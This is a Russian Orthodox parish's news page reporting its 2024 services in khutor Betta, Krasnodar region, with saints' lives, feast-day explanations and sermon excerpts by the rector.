  Литургию совершил иерей Олег Харитонов 10 ноября. По окончании богослужения отец Олег совершил иконе Феодоровской Богородицы молебен.

   

  10 ноября совершается память святителя Димитрия, митрополита Ростовского.

  Этот ученый монах обладал многими добродетелями, был суровым аскетом, мудро управлял епархией. Однако в историю Церкви он вошел в первую очередь как составитель всеобъемлющего свода жизнеописаний святых, которым мы продолжаем пользоваться и сегодня.

  Сейчас, когда практически любая информация доступна в считанные минуты, трудно себе представить, какой это был титанический труд, растянувшийся на целых 20 лет.

   

  «Книга житий святых» («Жития святых», «Че́тьи-Мине́и») была составлена святителем Димитрием Ростовским в 1684–1705 годы и впервые издана в Киеве в 1689–1705 годах.

  

  В день памяти святых отцов VII Вселенского Собора в храме совершена Божественная литургия

  Литургию совершил иерей Василий Колчар 27 октября. По окончании литургии батюшка отслужил молебен пред образом Феодоровской иконы Богородицы.

  Православные христиане в это воскресенье отмечают память святых отцов VII Вселенского Собора. Собор был созван против иконоборчества, возникшего за 60 лет до Собора, при византийском императоре Льве Исавре, который, желая устранить препятствия к мирному соседству с мусульманами, считал необходимым упразднить почитание икон.Второй Никейский Собор (также известный, как Седьмой Вселенский Собор) был созван в 787 году, в городе Никее, при императрице Ирине (вдове императора Льва Хозара), и состоял из 367 епископов, представлявших в основном восточную часть церкви, и легатов папы римского.

  По итогам работы был принят орос* Собора,восстановивший почитание икон и разрешивший употреблять в церквах и домах иконы Господа Иисуса Христа, Божией Матери, Ангелов и Святых, чествовать их поклонением (но не таким, какое прилично Богу), а целованием, возжжением перед ними светильников и фимиамом).

  *Орос (от греческого ὅρος — граница, рубеж, предел) — это определение догматического характера, которое формулируется и утверждается на Вселенском или Поместном Соборе и признаётся полнотой Церкви.

  20 октября 2024 г.

  Божественная литургия

  В Неделю 17-ю по Пятидесятнице  Литургию совершил настоятель храма иерей Василий Колчар 20 октября. В этот день Православная Церковь вспоминает мучеников Сергия и Вакха. Святых мучеников Сергия и Вакха император Максимиан (284–305) назначил на высокие должности в войске, не зная о том, что они христиане. Недоброжелатели донесли Максимиану, что два его военачальника не почитают языческих богов. Император приказал Сергию и Вакху принести жертву идолам, но они ответили, что чтут Бога Единого и только Ему поклоняются. Максимиан приказал снять с мучеников знаки их воинского сана, облечь в женские одежды и водить по городу с железными обручами на шее, в посмеяние народу. Затем опять призвал Сергия и Вакха к себе и дружески советовал не прельщаться «христианскими баснями» и обратиться к богам римским. Но святые были непреклонны. Тогда император повелел отослать их к правителю восточной части Сирии Антиоху, лютому ненавистнику христиан. Антиох получил эту должность с помощью Сергия и Вакха. «Отцы и благодетели мои! – сказал он святым, – будьте милостивы не только к себе, но и ко мне: я не хотел бы предавать вас мучениям». Святые мученики ответили, что для них жизнь – Христос, а смерть за Него – приобретение. Разгневанный Антиох приказал бить Вакха бичами без милосердия, и святой мученик отошел ко Господу. Сергия обули в железные сапоги с набитыми в них гвоздями и отвели на суд в другой город, где он был усечен мечом.

   

   

  Воскресная Божественная Литургия

  В воскресенье 13 октября, в продолжение празднования дня памяти святителя Михаила, первого митрополита Киевского в нашем храме совершена Божественная Литургия.

  Богослужение совершил  настоятель храма иерей Василий Колчар, после Литургии прошел водосвятный молебен.

  6 октября 2024 г.

  Богослужения в Неделю 15-ю по Пятидесятнице, Зачатие Иоанна Предтечи

  В Воскресный день в храме совершенна Божественная Литургия. Евангельское зачало чтимое за богослужением в этот день повествовало нам о призыве Господом Иисусом Христом своих первых учеников  и апостолов и о чудесном улове рыб.

  Пред нашим взором – Генисаретское озеро, олицетворяющее житейское море. Раннее утро, мир еще только на пороге новой жизни. Мир еще не знает, что для него это не простое утро, но утро пробуждения к жизни в Боге, в Новом Завете. Народ теснится вокруг Человека, возвысившего свой глас над толпой с необыкновенной силой и властью. Это Христос. Он один. Он пока один в этом мире, но Слово Божие, которое острее меча обоюдоострого, уже рассекает сознание и чувства слушающих, готовя Ему последователей – учеников.

  Среди слушающих есть и те, кто уже после этой проповеди оставит все житейские попечения и пойдет за Словом Божиим, за Христом…

  Евангелие умолчало, о чем говорил Спаситель, но о священном смысле беседы можно догадываться по ее окончанию: «Когда же перестал [Христос] учить, сказал Симону: отплыви на глубину и закинь сети свои для лова» (Лк. 5, 4). И благословением Христа сети наполнились рыбой, а слово и дело Господне уловило в это раннее утро сердца тех, кто станет в будущем апостолами и ловцами человеков.

  Чудесный улов рыб, предшествуя словам Христа, открывает глубинный смысл всего происходящего на озере. «…Не бойся [всяк позванный Христом к апостольскому служению], отныне [ты]будешь ловить человеков» (Лк. 5, 10).

  И сколько людей в мире с тех пор, предваряя свое преображение во апостола, в человеческом страхе и трепете, припадая к коленям Христа, отвечали на зов Спасителя словами Симона-Петра: «…выйди от меня, Господи! потому что я человек грешный» (Лк. 5, 8). А сколько таких, кто оставил все, последовал за Христом!

  Много, очень много званых прошло за два тысячелетия путем апостольского служения, неся миру слово жизни – учение об искуплении. И если первые двенадцать еще не знали, куда позвал их Христос, то последующим путь апостольского служения был начертан уже во всей полноте примером жизни самовидцев Христа и их облагодатствованным словом. Путь этот – в несении креста вослед Христу.

  

   

  29 сентября 2024 г.

  Неделя 14-я по Пятидесятнице.

   

  В Воскресный день Божественную Литургию совершил настоятель храма иерей Василий Колчар. По окончании богослужения батюшка обратился к молящимся со словом проповеди:»В сей день, когда Церковь прославляет Крест Христов, и мы после Божественной литургии совершили поклонение Животворящему Древу, будем особо помнить о том, что каждый из нас несет по жизни свой крест, и о том, как мы его несем, будем отвечать пред Господом Богом. Если несем его безропотно и со смирением, как нес его Господь наш Иисус Христос, сможем войти в Царство Божие. Да будет наше крестоношение нам во спасение, а не во осуждение. Всемилостивый Господь да благословит всех нас Своим Животворящим Крестом, утверждая и укрепляя всех нас в делании заповедей Христовых во веки веков. Аминь!

  С праздником поздравляю всех вас, дорогие мои!»

   

  27 сентября 2024 г.

  Воздвижение Креста Господня

  На кануне праздника в храме совершено Всенощное бдение с Выносом Креста Господня.

  Двадцать столетий прошло от величайшего события голгофской крестной жертвы Спасителя, когда Христос во славе вознесся на небо. Крест же остался на земле, продолжая делать великое дело, начатое на Голгофе.

  И по сей день живет Крест, как живая личность, как человек, принимая на себя и безграничную любовь, и столь же беспредельную ненависть. И как у первого Спасительного Креста Господня в свое время противостали друг другу любовь и злоба, верность и предательство – так суждено и во все времена жизни мира Кресту быть камнем преткновения.

  Крест продолжает жить в мире: одним – на спасение, другим – на вящую погибель. Борьба зла и добра у подножия Креста продолжается ради любви или ненависти к Тому, Кем освятилось Древо Креста.

  

  21 сентября 2024 г.

  Рождество Пресвятой Владычицы нашей Богородицы и Приснодевы Марии

  В день праздника в храме совершена Божественная Литургия. Настоятель храма обратился к молящимся со словом проповеди: «В праздник Рождества Пресвятой Девы Богородицы Церковь ежегодно зовет людей к радости, ибо явилась в Ней Родительница всемирной радости — Мать Спасителя нашего! Восчувствуем же и мы радость праздника, дарованного нам от Бога. Не дадим в сердцах наших места унынию и безнадежности от скорбей и бед, восстающих на нас. Эти скорби, не есть ли жизненный искус нашей веры, терпения и надежды на Бога? Надо помнить, что Бог верен, и Он благоволил даровать спасение всем, возжелавшим спастись.

  Дорогие наши, велик в масштабах мира праздник этот, но мы сегодня ограничим для себя значение его примером семейной жизни Иоакима и Анны. Поучимся у них, как же надо жить, чтобы и теперь являлись в мир дети Божии? Ведь было время, когда и в России жены рожали чад на радость себе и родине, а для Церкви — преподобных. Дети ожидаются как дар Божий, как плод любви, зачинаются с молитвой, до появления на свет вскармливаются Святыми Тайнами.

  Рождение новой жизни это и само по себе — чудо всемогущества Божия. С какой же ответственностью и благоговением надо приступать к созданию семьи! Благочестие супругов, их вера и любовь, чистота души и тела — вот то надежное основание для семьи и потомства, дарующее ей Божие благоволение и благословение»

  15 сентября 2024 г.

  Неделя 12-я по Пятидесятнице. Прпп. Антония и Феодосия Киево-Печерских

   Божественную Литургию в сослужении клирика Шахтинской епархии иерея Олега Сударева, совершил настоятель храма иерей Василий Колчар, в конце богослужения батюшка произнес проповедь на евангельское зачало:Учитель благий! Что сделать мне добраго, чтобы иметь жизнь вечную? С такими словами обратился к Иисусу Христу юноша, Его современник, еще не приобретший ни опыта, ни знания жизни, но уже начавший обдумывать вопрос о ее назначении.

  И эти вопросы: как жить, для чего жить, во имя чего претерпевать многие превратности и прискорбности жизни, – неминуемо встают перед каждым молодым человеком, стоящим на пороге самостоятельной жизни, в какое бы время он ни жил.

  И в момент думы о земной жизни неминуемо должна бы возникнуть и мысль о жизни вечной. Но сейчас мало кто и из пожилых-то людей, не говорю уж о молодежи, задается вопросом о жизни в вечности. А ведь именно этот вопрос становится для живущих тем ориентиром, который выстраивает жизненную стезю от юности до старости, до перехода в жизнь вечную.

  Как жить, что делать, чтобы обрести в жизни вечной Царство Небесное? И вопрос о жизни неумирающей, о жизни вечной становится для живущих наиважнейшим, ибо смерть есть неминуемая часть жития земнородных.

  Благодарение Господу! Не оставил Он мир без ответа на этот важнейший вопрос. И у каждого из нас есть возможность знать все, что нужно для спасения души…

  Самое близкое и важное для каждого из нас средство к научению себя христианскому понятию о жизни – это наша совесть.

  Слово Божие этот голос совести называет голосом Самого Бога, Небесного Отца, вложенным в нашу душу в то мгновение, когда Его воле было угодно, чтобы мы родились и жили на земле. Этот голос есть откровение воли Божией. Если бы мы слушались его, то знали бы истину и правду. Нам не нужно было бы иметь ни учителей, ни наставников. По непосредственному откровению Божию знали бы, что нам делать и как жить.

   ПУСТЬ ПОКРОВ ВЛАДИМИРСКОЙ ИКОНЫ БОГОМАТЕРИ ВСЕГДА ПРИСУТСТВУЕТ НАД НАШИМ ОТЧЕСТВОМ

   

  8 сентября, в неделю 11-ю по Пятидесятнице, праздник Сретения Владимирской иконы Пресвятой Богородицы, настоятель храма совершил Божественную литургию . В завершении богослужения батюшка обратился к молящимся со словом проповеди: В сей день, возлюбленные во Христе отцы, братья и сестры, мы прославляем икону Пречистой Богоматери, именуемую «Владимирская». Сия святая икона написана святым апостолом и евангелистом, ученым врачом Лукою, на доске от стола, на котором трапезничало Святое Семейство в доме святого праведного Иосифа Обручника. Сей образ был преподнесен Пречистой Богоматери при Ее земной жизни, и Владычица, увидев этот образ, благословила его и сказала: «Благодать Рождшагося от Меня и Моя с сею иконою да будет!» Эта икона долгие годы пребывала в Константинополе, а затем пребыла в пределы Святой Руси. Образ находился во граде Владимире, и когда в 1395 году к Москве приближался вождь Тимур-Тамерлан с огромной армией, митрополит Киприан послал во Владимир посольство за главной святыней Руси — чудотворной Владимирской иконой Божией Матери. Десять дней крестным ходом несли икону в столицу. На протяжении всего пути наши благочестивые предки, стоя на коленях, неустанно молились и взывали: «Матерь Божия, спаси землю Русскую!». Москва, во главе с митрополитом, семейством великого князя, духовенством и боярами, со слезами встречала икону Пресвятой Богородицы. Тамерлан был к тому времени в ста километрах от Москвы. В тот самый час, когда жители столицы встречали икону и молились перед ней, он дремал в своем шатре. Вдруг во сне перед ним в лучезарном сиянии явилась Величественная Жена в окружении святителей и небесного воинства, Которая грозно повелела ему оставить московские пределы. Проснувшись в ужасе, Тамерлан призвал своих мудрецов и стал допытываться, что означает это видение. Ему отвечали, что Величественная Жена — это Матерь Божия, великая защитница христиан. Тамерлан послушал мудрецов, и без боя его полки оставили пределы Московской Руси. Божия Матерь во все времена защищала Отечество наше от всех врагов видимых и невидимых. И в наше непростое время мы с вами с горячей молитвой будем просить Царицу Небесную, чтобы Владычица мира не оставила Русь Державную без Своего Покрова и Заступления. Да сохранит Пречистая Богоматерь Церковь нашу Русскую, державу нашу Российскую и народ наш Богохранимый. Пусть теплая молитва Пресвятой Богородицы согревает наши сердца и души и обращает нас к покаянию, ибо Матерь Божия любит тех, кто верит и служит Ее Божественному Сыну. Пусть покров Владимирской иконы Богоматери незримо присутствует над нашей столицей Москвой и над всем нашим Отчеством Российским всегда, ныне и присно и во веки веков. Аминь!

  Встреча Архиерея

  1 сентября 2024 года православный приход в честь Феодоровской иконы Богородицы х. Бетта с архиерейским визитом посетил правящий архиерей Новороссийской и Геленджикской епархии архиепископ Каллистрат.

  ПРЕСТОЛЬНЫЙ ПРАЗДНИК ХРАМА В ЧЕСТЬ ФЕОДОРОВСКОЙ ИКОНЫ БОЖИЕЙ МАТЕРИ
  Престольный праздник встретил храм в честь Феодоровской иконы Божией Матери на хуторе Бетта Краснодарского края. Божественную литургию совершили благочинный Геледжикского округа иерей Максим Пьянков, настоятель храма иерей Василий Колчар и клирики Андреевского кафедрального собора г.Геленджика иерей Сергий Гусев и иерей Роман Моисеенко. После службы всех пригласили на праздничную трапезу и концерт народного коллектива Дома культуры села Береговое «Казачий берег».

  В день Преображения Господа нашего Иисуса Христа в храме совершена Божественная литургия

  Литургию совершил иерей Василий Колчар 19 августа. По окончании литургии отец Василий освятил начатки плодов.

  В народе праздник получил название Яблочного спаса. Но важно понимать, что смысл не в освящении яблок, а в Преображении Господа Иисуса Христа перед учениками на горе Фавор — апостолами Петром, Иаковом и Иоанном.

   

  По окончании богослужения батюшка подчеркнул, что в этот день не яблоки на первом месте, а Христос, нужно научиться расставлять приоритеты. «У нас есть Первосвященник, Царь, Учитель, Пророк, Которого мы должны научиться слушать»…..

  Воскресный день

  18 августа в храме совершена Божественная Литургия.

  Сегодня мы слышали в евангельском чтении рассказ о том, как Господь накормил пять тысяч человек, причем сделал это чудесным образом – пятью хлебами и двумя рыбами. Но для чего Господь совершает эти чудеса? Целью было показать близость событий евангельской истории с событиями Ветхого Завета, когда много лет назад через пророка Моисея Господь в пустыне кормил людей манной. И вот Господь так же, в пустынном месте, чудесным образом насыщает пять тысяч человек. Это знамение, это чудо было призвано внушить древним евреям мысль о связи тех событий, участниками которых были они, с событиями Ветхого Завета, и утвердить в понимании того, что Господь и есть Пророк, подобный Моисею и еще больший его, что это и есть обещанный миру Спаситель.

  Эти евангельские события произошли много лет назад, но в человеческой истории люди, и не только они, но и каждое Божие творение, получают от Бога пищу именно как дар. Чтобы вырастить хлеб, люди пашут землю, сеют пшеницу или рожь, а потом ожидают урожая. Но нередко как в древности, так и сейчас, случаются особые напасти, когда посеянные хлеба гибнут или от мороза, или от насекомых, или от засухи. И человек не получает ничего. В истории человечества мы видим немало таких ситуаций, когда люди не могут получить хлеб — Господь не дает. То же самое касается и рыбы. Мы все помним удивительный евангельский эпизод, когда ученики Спасителя всю ночь ловили рыбу, но не поймали ничего. То же самое можно сказать и в отношении ловли рыбы в принципе. Наверное, можно услышать много подобных историй, когда рыбаки никак ничего не могут поймать, и вдруг, когда они уже отчаиваются, они получают просимое. Все, что мы получаем в пищу, мы получаем от Бога именно как как дар, который не зависит от человека. Человек может сделать свою часть работы и не получить просимое.

  Будем молиться Богу, чтобы Господь всегда давал нам Свои блага, милости, щедроты, кормил нас. И самое главное, чтобы Он не лишал нас Своего небесного Хлеба, Божественной Евхаристии.

  В первый день Успенского поста в храме совершена Божественная литургия

  Происхождение (изнесение) Честных Древ Животворящего Креста Господня (Медовый Спас) празднует Православная Церковь 14 августа. Что такое «Честные Древа Креста Господня»?Это часть Креста Спасителя, которая хранилась в сокровищнице Константинопольского правителя. Святая Елена после обретения Креста Господня разделила его на несколько частей и одну увезла с собой в столицу. «Честными» они называются в честь особого почитания среди верующих. В Константинополе сложилась традиция в августе нести святыню крестным ходом по городу, так как в это время года болело много людей.Праздник перешел в Русскую Церковь из византийской традиции после Крещения Руси. В этот день на середину храма из алтаря выносится для поклонения украшенный крест.

  В день Рождества святителя Николая Чудотворца в храме совершена Божественная литургия

  Литургию совершил настоятель храма иерей Василий Колчар, 11 августа по новому стилю — один из самых необычных церковных праздников: Рождество святителя Николая. Рождество Николая Чудотворца относится к непереходящим церковным праздникам. Рождество, то есть день рождения, в церковном календаре отмечено только для Господа Иисуса Христа, Божией Матери, Иоанна Крестителя и святителя Николая.

  Празднование Рождества Николая Чудотворца было отменено при императрице Екатерины II. И только в 2004 году по благословению Патриарха Московского и всея Руси Алексия II стали вновь отмечать Рождество всеми любимого святого в летние дни.

  Великомученик и Целитель Пантелеимон

  9 августа в день памяти великомученика и целителя Пантелеимона, в храме Феодоровской иконы Богородицы совершенна Божественная Литургия.

  Святой врач-бессребреник Пантелеимон – один из самых почитаемых православных святых, память его празднуется сегодня — 9 августа. Вряд ли найдется в России храм, где не было бы его иконы.

  При Петре I в день памяти великомученика Пантелеимона русские войска одержали две морские победы над шведами (в 1714 году при Гангаузе, в 1720 году при Гренгаме), и в благодарность за небесную помощь святого русскому флоту в Санкт-Петербурге был воздвигнут Пантелеимоновский собор — самый большой храм в честь этого святого в России.

   

  ПЕРВОЕ БОГОСЛУЖЕНИЕ В ГЕЛЕНДЖИКЕ ВЛАДЫКИ КАЛЛИСТРАТА.

  В прошлую субботу в соборе апостола Андрея Первозванного свершалось вечернее богослужение, возглавляемое сразу двумя архиереями.

  Нового Управляющего Новороссийской Епархией архиепископа Новороссийского и Геленджикского Каллистрата представлял глава Кубанской Митрополии Владыка Василий, митрополит Екатеринодарский и Кубанский. 

   Неделя 6-я по Пятидесятнице.  Мироносицы равноап. Марии Магдалины. Перенесение мощей сщмч. Фоки.

  4 августа в Воскресный день, в  храме совершена Божественная Литургия.

  Сердечно поздравляю всех вас, возлюбленные о Господе братья и сестры, с праздником воскресного дня и с праздником памяти святой равноапостольной Марии Магдалины о которой в Евангелии говорится, что она была одержима бесом, и Господь еще до Своих Крестных Страданий и Преславного Воскресения изгнал из нее семь бесов. Она сделалась ученицей Христа Спасителя, и Церковь прославила ее в лике равноапостольных жен, ибо она, как и святые апостолы, видела Распятие и Крестную смерть, погребение и Воскресение Христово. Многие апостолы «страха ради иудейска» разбежались, а Мария Магдалина вместе с Пречистой Богоматерью, Иоанном Богословом и женами-мироносицами не отходила никуда от Божественного Учителя. Сотрясалась земля, померкло солнце, но ее ничего не устрашило. Лишь только забрезжил первый свет новозаветной Пасхи, как она уже была у гроба Божественного Учителя и первой сподобилась видеть Воскресшего из мертвых Христа Жизнодавца. Она плакала во гробе и спрашивала: «Унесли Господа моего, и не знаю, где положили Его». Сказав сие, она обратилась назад и увидела Господа, но не узнала, что это Он. «Жено, почему ты плачешь? — сказал ей Господь. — Кого ищешь?» Она, думая, что это садовник, сказала Ему: «Господин! Если ты вынес Его, скажи мне, где ты положил Его, и я возьму Его». «Мария!» — услышала она знакомый ей голос Спасителя. «Учитель!» — воскликнула она и бросилась к Его ногам. Затем она побежала к ученикам Христовым и говорила: ««Я видела Господа! Он говорил со мной!» С этой радостной вестью она пошла и проповедовала Воскресшего Христа Спасителя. Сегодня мы воспоминаем жизненный подвиг святой равноапостольной Марии Магдалины и просим ее, чтобы она у Престола Божия молилась об укреплении всех нас в вере в Распятого и Воскресшего Господа и Спасителя нашего Иисуса Христа во веки веков. Аминь!

  День памяти пророка Божия Илии.

  Почти три тысячи лет отделяет современных людей от того времени, когда на земле жил один из величайших пророков эпохи Ветхого Завета, пророк Божий Илия. Но несмотря на это, образ грозного ревнителя о правде Божией остается известным почти всем и в наши дни. Празднование памяти пророка приходится на 2 августа. В этот день в храме  Божественную литургию с водосвятным молебном совершил настоятель священник Василий Колчар.

  Пророк Илия показывает нам путь, который нужен для избавления нас от бед, чтобы мир умирился, и чтобы наша жизнь стала более спокойной и размеренной. Нужно одно покаяние и обращение к Богу, о котором говорил Божий пророк, возвещая людям суровую правду. И она поистине такова – в некоторых случаях проявляется как милость, любовь, но если мы не понимаем этой тихой Божией правды, то она является в суровом образе.

  В день памяти равноапостольного князя Владимира в храме совершена Божественная литургия

  Литургию совершил настоятель храма иерей Василий Колчар 28 июля.  День Крещения Руси, объединяющий все земли исторической России, всего Русского мира. Этот праздник приурочен к памяти святого равноапостольного Великого Князя Владимира, Крестителя Руси. Также сегодня совершается Память святых отцев шести Вселенских Соборов.Как говорится в «Похвале князю Владимиру» святителя Илариона, митрополита Киевского:

  «И совлёк с себя князь наш – вместе с одеждами – ветхого человека, отложил тленное, отряс прах неверия – и вошёл в святую купель. И возродился он от Духа и воды: во Христа крестившись, во Христа облёкся; и вышел из купели просветлённый, став сыном нетления, сыном воскресения… Впрочем, на этом не остановился он в подвиге благоверия, но повелел всему народу своему креститься… И тогда осветило землю нашу Солнце Евангелия».

  КАЗАНСКАЯ ИКОНА БОГОРОДИЦЫ

  21 июля в Воскресенье и день праздника Казанской иконы Богородицы в храме совершена Божественная Литургия. Сегодня мы с вами по зову наших сердец собрались во святом храме для того, чтобы прославить Пресвятую Богородицу пред образом Ее Казанским, который явился четыреста сорок пять лет тому назад девятилетней отроковице Матроне, ибо она имела чистое сердце. В Священном Писании мы слышим такие слова: «Блаженны чистые сердцем, ибо они Бога узрят», Трижды являлась Царица Небесная и говорила Матроне, чтобы она взяла икону Пречистой. Явившись в третий раз, Матерь Божия сказала, что если Матрона не возьмет икону, то Владычица мира явится в другом месте. Так была явлена Казанская икона Пресвятой Богородицы. Не зря говорят о том, что Казанским образом Матерь Божия покрывает незримым покровом наше Отечество. Сия святая икона является путеводительной звездой для государства Российского. По пророчествам, что пока Казанская икона хранится на своем месте во граде Казани, не будет никаких страшных лихолетий в нашей стране, но лишь только был утрачен цельбоносный образ Владычицы, и мы видели, как беды и несчастья выпали на долю нашего многострадального народа. Почему же так случилось? Наши предки во все времена имели особый союз с Господом Богом и Его Пречистой Матерью. Имена Господа нашего Иисуса Христа и Божией Матери были написаны златыми буквами в сердце каждого православного христианина. Священное Писание говорит нам такие слова: «Кому много дано, с того много и спросится». Некогда богоизбранный народ имел славный Иерусалимский храм, и благодать Божия почивала там, и лишь только люди отвернулись от Бога, во святая святых услышали тогда громогласное «Уйдем отсюда», и благодать Божия покинула Иерусалимский храм и, по пророчеству Христа Спасителя, не осталось там камня на камне. Некогда славная Византия, которая имела своей столицей великий град Константинополь, Царьград, где находилась Святая София и великие святыни Православия, но когда люди отвернулись от Господа, люди в Константинополе увидели, как некий таинственный огонь покинул Святую Софию, и тогда многие поняли, что благодать Божия оставила Византию. Действительно, в скором времени Константинополь пал и утратил свои святыни. Наш богоизбранный русский народ как только стал отходить от Господа, сразу была утрачена величайшая святыня – Кананская икона Пречистой Богоматери, и в годы лихолетья во святых местах воцарилась мерзость запустения. Казалось, Господь навсегда отнял Свою благодать, но это только казалось! Ибо Пречистая Богоматерь имеет особое попечение о государстве Российском. Если весь гнев Божий будет двигаться на нас по нашим грехам, но будет пред Ним молитва Пречистой Богоматери, Господь тотчас же Свой гнев изменит на милость. Так случилось и в нашей истории, и мы видим, как чудесным образом по молитве Пречистой Богоматери восстановились многие святыни нашей Святой Руси. На месте славном, где явился Казанский образ, восстал из небытия Казанский монастырь с его славным великим собором Пречистой Богоматери на месте Ее явления. В сей день мы с вами, возлюбленные во Христе братья и сестры, с горячей молитвой обратимся к Царице Небесной, помолимся Её пред Ее Казанским образом, чтобы Она всегда имела Свой покров и заступление над нашей Россией. Когда как не сейчас нужна нам ее помощь! Пусть Матерь Божия всегда хранить Церковь нашу Православную, государство наше, Отечество Российское, и наш многострадальный русский народ от всех бед, несчастий, нападков иноплеменных и междоусобной брани! Верим и знаем, что Владычица мира да сохранит всех нас на всех путях жизни нашей до скончания века. Аминь!

   

  ПРЕСТОЛЬНЫЙ ПРАЗДНИК ХРАМА ПРЕПОДОБНОГО СЕРГИЯ РАДОНЕЖСКОГО В СЕЛЕ ДИВНОМОРСКОЕ

  18 июля 2024 года, в день обретения честных мощей преподобного Сергия, игумена Радонежского, секретарь Епархиального управления протоиерей Александр Абрашкин, совершил Божественную литургию в храме преподобного Сергия Радонежского в селе Дивноморское. Ему сослужили: благочинный Геленджикского округа, настоятель Андреевского кафедрального собора иерей Максим Пьянков, настоятель храма преподобного Сергия Радонежского иерей Сергий Кикоть,настоятель храма Феодоровской иконы Божией Матери х.Бетта иерей Василий Колчар,  духовенство Геленджикского благочиния; дьяконский чин возглавил протодиакон Евгений Габов.
  Богослужебные песнопения исполнил хор храма преподобного Сергия Радонежского под управлением Анастасии Кикоть.
  Проповедь перед причастием произнес иерей Олег Кокин, клирик Свято-Вознесенского кафедрального собора.
  По традиции, в престольный праздник, был совершен крестный ход с главной святыней храма – иконой Преподобного Сергия, игумена Радонежского, с частицей Его святых мощей.

  В день памяти святых врачей Космы и Дамиана Римских в храме совершена Божественная литургия

  В воскресенье 14 июля мы обращаемся в молитве к мученикам бессребреникам Косме и Дамиану, мученику Потиту Гаргарскому, преподобном Петру Патрикию, Ангелине Сербской, Тихону, Василию и Никону Соколовским и святителю Арсению Тверскому. В третью Неделю по Пятидесятнице Церковь празднует несколько Соборов святых: Вологодских, Новгородских, Белорусских, Псковских, Удмуртских, Волгоградских, Тверских и святых Санкт-Петербургской митрополии.

   

  Святые Косма и Дамиан в своей земной жизни были врачами, причем никаких денег за свою работу не брали. Исцеление происходило не только благодаря врачебному искусству, но и по их молитве Богу. Сегодня святых Косму и Дамиана почитают как покровителей врачей, к ним обращаются в молитве в случае заболеваний.

  Первоверховные апостолы Петр и Павел

  12 июля в день праздника апостолов Петра и Павла в храме совершена Божественная Литургия.

  Почитание святых апостолов Петра и Павла началось сразу же после их казни. Место их погребения было священно для первых христиан. В IV веке святым равноапостольным Константином Великим (†337; память 21 мая ст. ст.) были воздвигнуты храмы в честь святых первоверховных апостолов в Риме и Константинополе. Совместное их празднование — 29 июня (ст. ст.) — было сильно распространено уже в первые века христианства. Празднуя в этот день память первоверховных апостолов, Православная Церковь прославляет духовную твердость святого Петра и разум святого Павла, воспевает в них образ обращения согрешающих и исправляющихся: в апостоле Петре — образ отвергшегося от Господа и покаявшегося, в апостоле Павле — образ сопротивлявшегося проповеди Господней и потом уверовавшего.В Русской Церкви почитание апостолов Петра и Павла получило начало после Крещения Руси.

  Ковчег с частицей пояса Пресвятой Богородицы

  Пояс Пресвятой Богородицы – одна из величайших святынь, связанных с жизнью Пречистой Девы. По преданию Она Сама сплела его из верблюжьей шерсти и носила вплоть до Своего Успения. Наследниками двух вдовиц, получивших Пояс от Богородицы, святыня передавалась из поколения в поколение, а с IV века она находилась в Константинополе, заключенная в золотой ковчег с царской печатью и положенная во Влахернском храме. В X столетии Пояс, уже прославленный чудесами, был разделен на части. Одна из них хранится теперь на Афоне, в Ватопедском монастыре. В 2011 году к 200-летию Казанского кафедрального собора частица Пояса была передана на вечное хранение в Санкт-Петербург, куда ежедневно стекается множество паломников, чтобы перед великой святыней помолиться Божией Матери. Особую надежду на Её помощь возлагают семьи, не имеющие детей. Богородица избавляет женщин от бесплодия и дарует радость материнства.
  Ковчег с частицей Пояса Пресвятой Богородицы прибыл 10 июля в 10 часов утра в кафедральный Андреевский собор город Геленджика. Встречали святыню настоятель собора, благочинный Геленджикского церковного округа иерей Максим Пьянков,  настоятель храма Феодоровской иконы Богородицы х. Бетта иерей Василий Колчар, духовенство собора. Ежечасно около святыни совершаются молебные пения с акафистом.

  В день памяти Пророка и Предтечи Господня Иоанна в храме совершена Божественная литургия

  Литургию совершил настоятель храма иерей Василий Колчар 7 июля.

   По окончании литургии был совершен молебен пред образом Богородицы » Феодоровския»

   На этот день также выпала память Всех святых, в земле Российской просиявших. Его впервые начали отмечать в XVI веке.

  В день памяти всех святых в храме совершена Божественная литургия

  Литургию совершил настоятель храма иерей Василий  Колчар 30 июня. По окончании литургии был совершен молебен Феодоровской иконе Богородицы.Через неделю после Троицы Православная Церковь празднует День всех святых. Этот праздник в православной традиции приходился на весенне-летний период еще в первые века христианства.

  Он известен с конца IV – начала V веков. Существует проповедь святителя Иоанна Златоуста на память «всех святых, по всему миру пострадавших», в которой уже указывается день празднования аналогичный существующему в настоящее время.

  День Святой Троицы

  В праздник Святой Троицы  23 июня, в храме Феодоровской иконы Богородицы была совершена праздничная Божественная Литургия. В этот день по уставу в храме совершалось чтение коленопреклонных молитв и водосвятный молебен. Настоятель храма иерей Василий Колчар сердечно поздравил всех с великим праздником который еще именуется как день рождения Церкви. В слове проповеди батюшка сказал» Будем, возлюбленные во Христе, просить Господа о том, чтобы благодать Святого Духа очистила наше сердце и пребывала с нами до скончания века. Недаром древний пророк молился такими словами: «Дай мне, Господи, дух нов и сердце ново», а святой псалмопевец Давид говорил такие замечательные слова: «Сердце чисто созижди во мне, Боже, и дух прав обнови во утробе моей, не отвержи мене от лица Твоего, и Духа Твоего Святаго не отыми от мене». Будем и мы чаще обращаться к Богу в Троице Славимому и призывать, чтобы благодать Духа Святого вселилась в нас, и чаще будем молиться словами святого преподобного Иоанникия Великого: «Упование мое Отец, прибежище мое Сын, покров мой Дух Святый, Троице Святая, слава Тебе» во веки веков. Аминь»

  Прихожане храма также по окончании богослужения поздравили отца Василия с  прошедшим днем рождения  пожелав долгих лет жизни  в служении у престола Божия в крепком здравии и спасении, для прославления имени Божия в Троице почитаемого.

   Неделя 7-я по Пасхе, святых 318 богоносных отцов Первого Вселенского Собора.

  16 июня в храме совершена Божественная Литургия.

  Ныне за богослужением мы с вами слышали евангельское повествование святого апостола и евангелиста Иоанна Богослова, в котором звучат сакраментальные слова Первосвященнической молитвы Господа нашего Иисуса Христа к Богу Отцу: «Сия же есть жизнь вечная, да знают Тебя, единого истинного Бога, и посланного Тобою Иисуса Христа». Эти слова сказаны о нашей православной вере и выражают её содержание и смысл. Ибо жизнь вечная уготована тем, кто знает Бога Отца и Его Божественного Сына, пришедшего в мир ради нас и ради нашего спасения. Будем помнить эти замечательные слова евангельской истины, которые являются ответом на все вопросы о нашей вере, они есть альфа и омега нашего упования и веры, которую исповедует Святая Христова Церковь, к которой все мы по милости Божией принадлежим.

  В воскресный день по заповеди Божией православный человек всегда должен стремиться в храмы для того, чтобы прославить Отца Небесного и принять участие в Божественной литургии, в таинстве Евхаристии, в переводе с греческого — благодарения, когда верные чада Церкви причащаются Святых Тела и Крови Христовых во оставление грехов и в жизнь вечную.

  

